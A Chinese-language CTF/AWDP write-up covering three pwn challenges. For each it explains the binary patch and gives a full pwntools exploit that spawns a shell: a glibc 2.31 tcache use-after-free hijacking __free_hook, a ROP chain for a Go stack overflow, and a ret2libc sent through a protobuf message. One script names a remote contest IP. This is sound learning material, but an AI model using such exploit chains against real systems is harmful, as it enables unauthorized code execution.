第一次打AWDP,赛前自己了解以为跟CTF差不多的,但是真正遇到了感觉在防御方面还是欠缺了很多知识,虽然能找到漏洞,但是都是从攻击者的角度去看的,所以在防御的时间上浪费的比较多(还是自己太菜了)

note

最简单的一道题

fix

delete功能中存在UAF,直接free nop掉即可过check。

break

普通的glibc-2.31版本的UAF,直接打tcachebin申请到free_hook触发system。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *
from pwn import u64,u32,p64,p32
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('127.0.0.1', 10001)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc.so.6')
def add(size,c):
rl("5. exit\n")
sl(str(1))
rl("The size of your content: \n")
sl(str(size))
rl("content: \n")
s(c)

def edit(idx,size,c):
rl("5. exit\n")
sl(str(2))
rl("index: ")
sl(str(idx))
rl("The size of your content: \n")
sl(str(size))
rl("Content: \n")
s(c)

def free(idx):
rl("5. exit\n")
sl(str(3))
rl("index: ")
sl(str(idx))

def show(idx):
rl("5. exit\n")
sl(str(4))
rl("index: ")
sl(str(idx))


for i in range(10):
add(0x90,b'/bin/sh\x00')

for i in range(7):
free(i)
free(7)
#debug('b *$rebase(0x15D0)')
show(7)

libc_leak = uu64()
lg("libc_leak",libc_leak)
libc_base = libc_leak-0x1ecbe0
lg("libcbase",libc_base)
free_hook=libc_base+libc.sym['__free_hook']
system = libc_base + libc.sym['system']


edit(6,0x90,p64(free_hook))

add(0x90,b'a')
add(0x90,p64(system))

free(9)
inter()

go_note

看见go本来就害怕,一看名字又是go的堆直接吓的不敢看,所以是比赛快结束的时候才看,后来发现就是个栈溢出。

一般go语言都是直接dbg开调,因为题目名字的原因最开始猜测可能也是UAF,所以就试了一下发现不是的,然后就开始测一下edit功能是不是有溢出,然后确认了确实是edit中存在了溢出,但是以为是堆溢出,后来乱输了一堆垃圾数据测了一下,发现是栈溢出。

image-20240702145846494

找到了溢出点。

fix

image-20240702150649538

漏洞在for循环中值传递,所以将对应的赋值语句nop即可,也就是nop掉mov [r12], r13b

break

触发read系统调用将’/bin/sh\x00’读到bss段后再触发execve(‘/bin/sh\x00’,0,0)即可

1
2
3
4
5
rax=0x000000000040fbdd  #pop rax; pop rbp; ret; 
rdx=0x000000000047a8fa #pop rdx ; ret
rdi=0x0000000000462498 #pop rdi ; add eax, 0xc1894800 ; mov rax, rdx ; add rsp, 0xf8 ; pop rbp ; ret
rsi=0x0000000000462552 #pop rsi; add eax, 0xc1894800d; xor eax, eax; add rsp, 0xf8; pop rbp; ret;
syscall=0x000000000045e0a9

找到这些gadget。pop rdi和pop rsi时要控制好rsp,保证执行链的完整。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
from pwn import u64,u32,p64,p32
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('8.147.132.114', 43759)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
def add(content):
rl("Your choice > ")
sl('1')
rl("Please input note content: ")
sl(content)
def delete(index):
rl("Your choice > ")
sl('2')
rl("Please input note id: ")
sl(str(index))
def edit(index,content):
rl("Your choice > ")
sl('3')
rl("Please input note id: ")
sl(str(index))
rl("Please input new content: ")
sl(content)
def show(index):
rl("Your choice > ")
sl('4')
rl("Please input note id: ")
sl(str(index))

# gdb.attach(p)
add('a'*0x100)

rax=0x000000000040fbdd #pop rax; pop rbp; ret;
rdx=0x000000000047a8fa #pop rdx ; ret
rdi=0x0000000000462498 #pop rdi ; add eax, 0xc1894800 ; mov rax, rdx ; add rsp, 0xf8 ; pop rbp ; ret
rsi=0x0000000000462552 #pop rsi; add eax, 0xc1894800d; xor eax, eax; add rsp, 0xf8; pop rbp; ret;
syscall=0x000000000045e0a9
bss=0x526680+0x1000

edit(1,'a')

payload=b'a'*(0x40)+p64(rdi)+p64(0)+b'a'*0xf8+p64(bss)+p64(rsi)+p64(bss)+b'a'*0xf8+p64(bss)+p64(rdx)+p64(0x100)+p64(syscall)
payload+=p64(rdi)+p64(bss)+b'a'*0xf8+p64(bss)+p64(rsi)+p64(0)+b'a'*0xf8+p64(bss)+p64(rdx)+p64(0)+p64(rax)+p64(0x3b)+p64(0)+p64(syscall)

edit(1,payload)
# pause()
s(b'/bin/sh\x00')

inter()

protoverflow

这是比赛时第二个选择做的题,这个proto考点,国赛好像很喜欢出,之前没有好好学过,比赛的时候很难受,非常之后悔没学。

去学习一下protobuf的原理以及配合python包解题就会发现这个题也是个栈溢出,很简单。

利用ptbk工具提取出文件中的proto数据结构

1
./extractors/from_binary.py ./pwn ./
1
2
3
4
5
6
7
8
syntax = "proto2";

message protoMessage {
optional string name = 1;
optional string phoneNumber = 2;
required bytes buffer = 3;
required uint32 size = 4;
}

然后生成python包。

1
protoc --python_out=./ message.proto
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: message.proto
"""Generated protocol buffer code."""
from google.protobuf.internal import builder as _builder
from google.protobuf import descriptor as _descriptor
from google.protobuf import descriptor_pool as _descriptor_pool
from google.protobuf import symbol_database as _symbol_database
# @@protoc_insertion_point(imports)

_sym_db = _symbol_database.Default()




DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\rmessage.proto\"O\n\x0cprotoMessage\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x13\n\x0bphoneNumber\x18\x02 \x01(\t\x12\x0e\n\x06\x62uffer\x18\x03 \x02(\x0c\x12\x0c\n\x04size\x18\x04 \x02(\r')

_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, globals())
_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'message_pb2', globals())
if _descriptor._USE_C_DESCRIPTORS == False:

DESCRIPTOR._options = None
_PROTOMESSAGE._serialized_start=17
_PROTOMESSAGE._serialized_end=96
# @@protoc_insertion_point(module_scope)

break

在python脚本中利用import导入这个模块,然后利用对应的方法打包数据将其转化为序列化的字节流进行发送交互。经测试发现是由proto数据结构中的buffer导致的栈溢出,因为程序开头泄露了libc地址,所以利用ret2libc打即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
from pwn import u64,u32,p64,p32
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('127.0.0.1', 10001)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
import message_pb2#导入python包
rl("Gift: 0x")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
puts_addr = int(p.recv(12),16)
lg("puts_addr",puts_addr)
libc_base = puts_addr - libc.symbols['puts']
lg("libc_base",libc_base)
ret = 0x0000000000029139 + libc_base
pop_rdi = 0x000000000002a3e5 + libc_base
binsh = libc_base + libc.search(b'/bin/sh').__next__()
lg("ret",ret)
system = libc_base + libc.symbols['system']

pl = b'a'*0x218
pl += p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
msg = message_pb2.protoMessage()
msg.name="1"
msg.phoneNumber="2"
msg.buffer = pl
msg.size = len(pl)
serialized_msg = msg.SerializeToString()
# print(serialized_msg)
# gdb.attach(p)
s(serialized_msg)


inter()